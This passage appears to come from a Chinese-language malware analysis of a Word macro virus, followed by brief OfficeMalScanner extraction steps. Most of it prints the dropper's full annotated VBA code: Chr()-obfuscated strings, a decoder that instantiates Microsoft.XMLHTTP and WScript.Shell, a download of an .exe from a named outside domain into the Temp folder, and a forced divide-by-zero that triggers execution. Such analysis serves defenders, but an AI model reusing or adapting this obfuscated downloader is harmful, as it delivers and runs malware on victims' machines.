Nrh1INh1S5hGed = "h" & Chr(116) & Chr(61) & "t" & Chr(112) & Chr(58) & Chr(47) & Chr(59) & Chr(47) & Chr(99) & Chr(104) & Chr(97) & "t" & Chr(101) & Chr(97) & Chr(117) & Chr(45) & Chr(100) & Chr(60) & Chr(101) & Chr(115) & Chr(45) & Chr(105) & Chr(108) & "e" & Chr(115) & Chr(46) & Chr(61) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(60) & Chr(52) & Chr(116) & Chr(102) & Chr(51) & Chr(51) & Chr(119) & Chr(47) & Chr(60) & Chr(119) & "4" & Chr(116) & Chr(52) & Chr(53) & Chr(51) & Chr(46) & Chr(59) & Chr(101) & Chr(61) & Chr(120) & Chr(101)
Debug.Print Now & " : " & Nrh1INh1S5hGed  '输出加密字符串内容
' 进入解密函数，创建了对象 Microsoft.XMLHTTP
Set LhZitls7wPn = lLJrFk6pKsSYJ("M" & "i" & Chr(60) & Chr(99) & Chr(114) & Chr(111) & Chr(61) & "s" & Chr(111) & "f" & Chr(116) & ";" & Chr(46) & "X" & Chr(77) & Chr(60) & "L" & Chr(59) & Chr(72) & "T" & Chr(61) & Chr(84) & "P")
' 解密字符串http://chateau-des-iles.com/4tf33w/w4t453.exe
Nrh1INh1S5hGed = Replace(Replace(Replace(Nrh1INh1S5hGed, Chr(60), ""), Chr(61), ""), Chr(59), "")
'  下载文件
'  LhZitls7wPn = Microsoft.XMLHTTP
'  LhZitls7wPn.Open GET "http://chateau-des-iles.com/4tf33w/w4t453.exe"
CallByName LhZitls7wPn, Chr(79) & Chr(112) & Chr(101) & Chr(110), VbMethod, Chr(71) & Chr(69) & Chr(84), _
Nrh1INh1S5hGed _
, False

加密函数lLJrFk6pKsSYJ：

其中各种乱序的字符串会调用lLJrFk6pKsSYJ函数做解密函数使用，目的是为了将< = ;这些符号替换成空。

使用Debug.Print就可以输出每次被替换出来的真实内容。

' 解密函数
Public Function lLJrFk6pKsSYJ(L9QLFPTuZDwM As String)
' 替换 60 <    61  =   59 ;
L9QLFPTuZDwM = Replace(Replace(Replace(L9QLFPTuZDwM, Chr(60), ""), Chr(61), ""), Chr(59), "")
' 获取每次解密后的内容
Debug.Print Now & " : " & L9QLFPTuZDwM
' 这个函数会将加密后的字符串解密，然后创建对象的实例
Set lLJrFk6pKsSYJ = CreateObject(L9QLFPTuZDwM)
End Function

• • 运行文件实现

'  通过对象下载文件
'  LhZitls7wPn = Microsoft.XMLHTTP
'  LhZitls7wPn.Open GET "http://chateau-des-iles.com/4tf33w/w4t453.exe"
CallByName LhZitls7wPn, Chr(79) & Chr(112) & Chr(101) & Chr(110), VbMethod, Chr(71) & Chr(69) & Chr(84), _
Nrh1INh1S5hGed _
, False
' vu2Wh85645xcP0 = 创建WScript.Shell对象实例
Set vu2Wh85645xcP0 = lLJrFk6pKsSYJ(Chr(87) & "<" & Chr(83) & "c" & Chr(61) & Chr(114) & "i" & Chr(112) & "t" & Chr(59) & Chr(46) & Chr(83) & "=" & Chr(104) & "e" & "<" & "l" & Chr(108))
'  WScript.Shell "Environment" Process
Set GhbwRqU9OkbF = CallByName(vu2Wh85645xcP0, Chr(69) & Chr(110) & "v" & Chr(105) & Chr(114) & Chr(111) & "n" & "m" & Chr(101) & Chr(110) & Chr(116), VbGet, Chr(80) & "r" & "o" & Chr(99) & "e" & Chr(115) & "s")
' "C:\Users\USER\AppData\Local\Temp"
SD3q5HdXxoiA = GhbwRqU9OkbF(Chr(84) & Chr(69) & Chr(77) & Chr(80))
' "C:\Users\USER\AppData\Local\Temp\fghgkbb.exe"
aDPbd2byZb = SD3q5HdXxoiA & "\" & Chr(102) & Chr(103) & Chr(104) & Chr(103) & Chr(107) & Chr(98) & Chr(98) & Chr(46) & "e" & "x" & Chr(101)
Dim bvGEpxCVsZ() As Byte
' http  send
CallByName LhZitls7wPn, Chr(83) & Chr(101) & Chr(110) & Chr(100), VbMethod
' "responseBody"
bvGEpxCVsZ = CallByName(LhZitls7wPn, "r" & "e" & Chr(115) & Chr(112) & Chr(111) & Chr(110) & Chr(115) & Chr(101) & Chr(66) & Chr(111) & Chr(100) & "y", VbGet)
' 保存文件
FlvXHsDrWT3aY bvGEpxCVsZ, aDPbd2byZb
On Error GoTo OhXhZLRKh
    a = 84 / 0
  On Error GoTo 0
' 退出函数
xrIvr6mOXvFG:
  Exit Sub
' 进入
OhXhZLRKh:
  ' 执行命令函数
  ENMD3t8EY4A ("UfBPGay4VPJi")
Resume xrIvr6mOXvFG
End Sub

完整函数代码：

'病毒主函数
Sub LWS8UPvw1QGKq()
' 加密字符串 ht=tp:/;/chateau-d<es-iles.=com/<4tf32018/4/3 11:40:07 : WScript.Shell
Nrh1INh1S5hGed = "h" & Chr(116) & Chr(61) & "t" & Chr(112) & Chr(58) & Chr(47) & Chr(59) & Chr(47) & Chr(99) & Chr(104) & Chr(97) & "t" & Chr(101) & Chr(97) & Chr(117) & Chr(45) & Chr(100) & Chr(60) & Chr(101) & Chr(115) & Chr(45) & Chr(105) & Chr(108) & "e" & Chr(115) & Chr(46) & Chr(61) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(60) & Chr(52) & Chr(116) & Chr(102) & Chr(51) & Chr(51) & Chr(119) & Chr(47) & Chr(60) & Chr(119) & "4" & Chr(116) & Chr(52) & Chr(53) & Chr(51) & Chr(46) & Chr(59) & Chr(101) & Chr(61) & Chr(120) & Chr(101)
Debug.Print Now & " : " & Nrh1INh1S5hGed
' 进入解密函数，创建了对象 Microsoft.XMLHTTP
Set LhZitls7wPn = lLJrFk6pKsSYJ("M" & "i" & Chr(60) & Chr(99) & Chr(114) & Chr(111) & Chr(61) & "s" & Chr(111) & "f" & Chr(116) & ";" & Chr(46) & "X" & Chr(77) & Chr(60) & "L" & Chr(59) & Chr(72) & "T" & Chr(61) & Chr(84) & "P")
' 解密字符串http://chateau-des-iles.com/4tf33w/w4t453.exe
Nrh1INh1S5hGed = Replace(Replace(Replace(Nrh1INh1S5hGed, Chr(60), ""), Chr(61), ""), Chr(59), "")
'  通过对象下载文件
'  LhZitls7wPn = Microsoft.XMLHTTP
'  LhZitls7wPn.Open GET "http://chateau-des-iles.com/4tf33w/w4t453.exe"
CallByName LhZitls7wPn, Chr(79) & Chr(112) & Chr(101) & Chr(110), VbMethod, Chr(71) & Chr(69) & Chr(84), _
Nrh1INh1S5hGed _
, False
' vu2Wh85645xcP0 = 创建WScript.Shell对象实例
Set vu2Wh85645xcP0 = lLJrFk6pKsSYJ(Chr(87) & "<" & Chr(83) & "c" & Chr(61) & Chr(114) & "i" & Chr(112) & "t" & Chr(59) & Chr(46) & Chr(83) & "=" & Chr(104) & "e" & "<" & "l" & Chr(108))
'  WScript.Shell "Environment" Process
Set GhbwRqU9OkbF = CallByName(vu2Wh85645xcP0, Chr(69) & Chr(110) & "v" & Chr(105) & Chr(114) & Chr(111) & "n" & "m" & Chr(101) & Chr(110) & Chr(116), VbGet, Chr(80) & "r" & "o" & Chr(99) & "e" & Chr(115) & "s")
' "C:\Users\USER\AppData\Local\Temp"
SD3q5HdXxoiA = GhbwRqU9OkbF(Chr(84) & Chr(69) & Chr(77) & Chr(80))
' "C:\Users\USER\AppData\Local\Temp\fghgkbb.exe"
aDPbd2byZb = SD3q5HdXxoiA & "\" & Chr(102) & Chr(103) & Chr(104) & Chr(103) & Chr(107) & Chr(98) & Chr(98) & Chr(46) & "e" & "x" & Chr(101)
Dim bvGEpxCVsZ() As Byte
' http  send
CallByName LhZitls7wPn, Chr(83) & Chr(101) & Chr(110) & Chr(100), VbMethod
' "responseBody"
bvGEpxCVsZ = CallByName(LhZitls7wPn, "r" & "e" & Chr(115) & Chr(112) & Chr(111) & Chr(110) & Chr(115) & Chr(101) & Chr(66) & Chr(111) & Chr(100) & "y", VbGet)
' 保存文件
FlvXHsDrWT3aY bvGEpxCVsZ, aDPbd2byZb
On Error GoTo OhXhZLRKh
    a = 84 / 0
  On Error GoTo 0
' 退出函数
xrIvr6mOXvFG:
  Exit Sub
' 进入
OhXhZLRKh:
  ' 执行命令函数
  ENMD3t8EY4A ("UfBPGay4VPJi")
Resume xrIvr6mOXvFG
End Sub

(3) 工具提取宏

使用 OfficeMalScanner,可以将宏导出来以便分析。

• 1、解压文档文件

OfficeMalScanner.exe 宏病毒文档.docm inflate

• 2、提取宏代码

OfficeMalScanner.exe vbaProject.bin info